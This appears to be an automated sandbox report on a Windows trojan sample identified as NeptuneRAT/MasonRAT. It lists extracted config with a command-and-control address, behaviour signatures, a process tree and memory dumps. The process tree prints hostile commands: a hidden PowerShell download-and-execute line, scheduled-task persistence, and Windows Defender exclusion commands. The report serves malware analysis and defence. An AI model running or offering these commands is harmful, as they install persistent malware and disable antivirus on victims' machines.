Analysis
- geolocation tags
- max time kernel
300s - max time network
305s - platform
windows10-2004_x64 - resource
win10v2004-20260513-es - resource tags
- submitted
06/08/2026, 00:55
General
- Target Bypassed.exe
- Size 1.9MB
- Sample260806-a97d3avybs
- SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
Malware Config
Extracted
-
neptunerat
-
82.22.62.124:443
-
filename
MasonUSB.exe
-
group
MasonGroup
-
key
eacBkjvaIIlrNRCZ
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 5 IoCs
- Drops file in System32 directory 25 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies data under HKEY_USERS 36 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-21ddd189-2931-4523-8166-e0a7ed5f23ee -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1e9fe87e-0d0b-402d-a1af-8a9920907d82 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b4f7bdc3-149b-413a-bebe-b363bf2cd3f6 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b2150a8e-39ba-4bef-b95f-95227d900fac -LifetimeId:62aeb34f-a889-41a8-8098-cdad78b14f9e -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Windows\svhost.exeC:\Windows\svhost.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\tjljxjou.tp3.exe"C:\Users\Admin\AppData\Local\Temp\tjljxjou.tp3.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\4b1bcdc8-c897-4e05-9f54-f5d8454c0c67.exe"C:\Users\Admin\AppData\Local\Temp\4b1bcdc8-c897-4e05-9f54-f5d8454c0c67.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 3c5f4843969652ceeba3e99cedd8af52 LwDj2eQZC0Kotai6/jfjMQ.0.1.0.0.01⤵
- Sets service image path in registry
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
-
C:\Windows\svhost.exeC:\Windows\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
config.json
powershell.exe.log
svhost.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
4b1bcdc8-c897-4e05-9f54-f5d8454c0c67.exe
__PSScriptPolicyTest_tshmtmtv.gl2.ps1
tjljxjou.tp3.exe
Schedule Maintenance Work
Schedule Maintenance Work
Schedule Wake To Work
Schedule Wake To Work
Schedule Work
Schedule Work
77EC63BDA74BD0D0E0426DC8F8008506
FB0D848F74F70BB2EAA93746D24D9749
B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF
B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
memory/64-95-0x000001E1949C0000-0x000001E1949EB000-memory.dmp
memory/64-96-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/408-108-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/408-107-0x000001C58E890000-0x000001C58E8BB000-memory.dmp
memory/516-99-0x00000188B5AD0000-0x00000188B5AFB000-memory.dmp
memory/516-100-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/616-83-0x0000017EF6C60000-0x0000017EF6C8B000-memory.dmp
memory/616-84-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/616-82-0x0000017EF6BC0000-0x0000017EF6BE5000-memory.dmp
memory/680-87-0x0000025C2FE00000-0x0000025C2FE2B000-memory.dmp
memory/680-88-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/700-104-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/700-103-0x0000025A12290000-0x0000025A122BB000-memory.dmp
memory/884-92-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/884-91-0x0000024CCD2D0000-0x0000024CCD2FB000-memory.dmp
memory/1064-15-0x000001EF52A80000-0x000001EF52B02000-memory.dmp
memory/1064-33-0x000001EF53170000-0x000001EF53225000-memory.dmp
memory/1064-35-0x000001EF53230000-0x000001EF5327A000-memory.dmp
memory/1064-36-0x000001EF52E20000-0x000001EF52E3C000-memory.dmp
memory/1064-37-0x000001EF52E00000-0x000001EF52E0A000-memory.dmp
memory/1064-38-0x000001EF53280000-0x000001EF5329A000-memory.dmp
memory/1064-39-0x000001EF52E10000-0x000001EF52E18000-memory.dmp
memory/1064-34-0x000001EF52DF0000-0x000001EF52DFA000-memory.dmp
memory/1064-16-0x000001EF528B0000-0x000001EF528D2000-memory.dmp
memory/1064-32-0x000001EF52DD0000-0x000001EF52DEC000-memory.dmp
memory/1064-40-0x000001EF52E40000-0x000001EF52E46000-memory.dmp
memory/1064-41-0x000001EF52E50000-0x000001EF52E5A000-memory.dmp
memory/1064-24-0x000001EF528E0000-0x000001EF528F0000-memory.dmp
memory/1072-111-0x000001BF788C0000-0x000001BF788EB000-memory.dmp
memory/1072-112-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1104-0-0x0000000000050000-0x0000000000244000-memory.dmp
memory/1112-116-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1112-115-0x0000028967100000-0x000002896712B000-memory.dmp
memory/1184-119-0x000002491A560000-0x000002491A58B000-memory.dmp
memory/1184-120-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1192-123-0x0000019634D90000-0x0000019634DBB000-memory.dmp
memory/1192-124-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1204-127-0x0000020F7C190000-0x0000020F7C1BB000-memory.dmp
memory/1204-128-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1232-391-0x00000291F12E0000-0x00000291F1320000-memory.dmp
memory/1232-394-0x00000291F1340000-0x00000291F135E000-memory.dmp
memory/1248-131-0x000001EDBE740000-0x000001EDBE76B000-memory.dmp
memory/1248-132-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1304-136-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1304-135-0x00000265FC590000-0x00000265FC5BB000-memory.dmp
memory/1424-140-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1424-139-0x00000217D5590000-0x00000217D55BB000-memory.dmp
memory/1440-144-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1440-143-0x000002027CB70000-0x000002027CB9B000-memory.dmp
memory/1460-191-0x0000000000F90000-0x0000000000FBB000-memory.dmp
memory/1460-192-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1532-148-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1532-147-0x000001E121C90000-0x000001E121CBB000-memory.dmp
memory/1548-152-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1548-151-0x0000015277DB0000-0x0000015277DDB000-memory.dmp
memory/1648-156-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1648-155-0x0000014A8EF60000-0x0000014A8EF8B000-memory.dmp
memory/1696-159-0x000002B16A540000-0x000002B16A56B000-memory.dmp
memory/1696-160-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1704-163-0x000001E815540000-0x000001E81556B000-memory.dmp
memory/1704-164-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1784-168-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1784-167-0x000001F89CF80000-0x000001F89CFAB000-memory.dmp
memory/1792-171-0x000001304D930000-0x000001304D95B000-memory.dmp
memory/1792-172-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1900-175-0x000002F4C6BB0000-0x000002F4C6BDB000-memory.dmp
memory/1900-176-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1932-180-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1932-179-0x000002B07DBD0000-0x000002B07DBFB000-memory.dmp
memory/1940-184-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/1940-183-0x00000136CB200000-0x00000136CB22B000-memory.dmp
memory/2008-187-0x0000021C8D490000-0x0000021C8D4BB000-memory.dmp
memory/2008-188-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/2108-430-0x0000000000E30000-0x0000000000EEE000-memory.dmp
memory/2240-196-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/2240-195-0x0000025683960000-0x000002568398B000-memory.dmp
memory/2264-200-0x00007FFC9B810000-0x00007FFC9B820000-memory.dmp
memory/2264-199-0x00000137217A0000-0x00000137217CB000-memory.dmp
memory/2292-203-0x000002B32DF70000-0x000002B32DF9B000-memory.dmp
memory/2344-66-0x0000000002B50000-0x0000000002B60000-memory.dmp
memory/2344-14-0x000000001CBF0000-0x000000001CCF2000-memory.dmp
memory/2344-13-0x0000000000AF0000-0x0000000000BAE000-memory.dmp
memory/3540-80-0x00007FFCDB790000-0x00007FFCDB985000-memory.dmp
memory/3540-81-0x00007FFCDAE90000-0x00007FFCDAF4E000-memory.dmp
memory/3660-70-0x00000000022E0000-0x0000000002324000-memory.dmp
memory/3660-365-0x000000001C5A0000-0x000000001C5B2000-memory.dmp
memory/3660-71-0x00000000022A0000-0x00000000022CC000-memory.dmp